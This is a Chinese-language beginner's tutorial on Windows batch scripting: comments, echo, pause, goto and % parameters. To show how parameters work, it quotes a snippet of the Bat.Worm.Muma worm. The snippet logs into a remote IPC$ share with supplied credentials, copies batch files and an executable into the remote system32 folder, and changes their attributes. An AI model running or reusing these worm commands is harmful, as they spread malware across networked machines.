BATCH批处理简记

本文转载自原文批处理经典入门教程!(从不懂到高手),只是原文作者太罗嗦了,我做了稍微的简化。

  1. 批处理定义
  2. 基本语法和常用命令
  3. 例子

一.批处理定义

批处理的本质,其实是一堆DOS命令,他们按一定顺序排列而形成的集合就是批处理。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。
注意:批处理的每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。


二.基本语法和常用命令

1.注释方式:
使用“::”双冒号的方式进行注释,注释符号之后的同一行中的内容在脚本执行时不显示,也不起任何作用,只是增加了脚本的可读性,在批处理脚本中和rem命令等效。例如:

@echo off 
::close echo 
cls 
::clean screen 

2.@符号:
让脚本执行窗口不显示此符号之后指令内容的命令本身,而只显示执行结果,就像上例中的“@echo off”,@可以使得doc中不显示echo off,而直接显示其执行的结果。

3.echo:
可以看做是回写或者是反馈,但实际上它是一个开关,而控制它的指令就是echo on和echo off了,而直接执行echo指令则会显示当前echo所处的状态(on或off)。执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。
echo命令的另一种用法一:可以用它来显示信息,如:```echo hello world,会在doc中打印“hello world”; echo命令的另一种用法二:可以直接编辑文本文件,如:在doc窗口直接输入echo nbtstat -A 192.168.0.1 > a.bat ````,执行结果会在当前目录下创建一个a.bat文件。

4.pause:
直接可以看出它是“暂停”的意思,即让当前程序进程暂停一下,并显示一行信息:请按任意键继续. . .。

5.”goto”和”:”:
这两个指令是以一个组合形式出现的,goto是一个跳转指令,一般脚本执行到goto指令时,会跳转到::标签定义的部分区执行。例如:

goto usage
...
:usage
...

不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系,goto命令也经常和if命令结合使用。
goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。
如:

…… 
goto end 
…… 
:end 

这里:end在脚本最后一行!

6.%:
单个%不算是命令,而相当于参数,例如:

net use \\%1\ipc$ %3 /u:"%2" 
copy 11.BAT \\%1\admin$\system32 /y 
copy 13.BAT \\%1\admin$\system32 /y 
copy ipc2.BAT \\%1\admin$\system32 /y 
copy NWZI.EXE \\%1\admin$\system32 /y 
attrib \\%1\admin$\system32⏺.bat -r -h -s 

以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的。


三、例子

将所需的命令都写在一个文件中,并且修改文件的后缀名为.bat,双击执行即会弹出doc窗口执行文件中的脚本命令。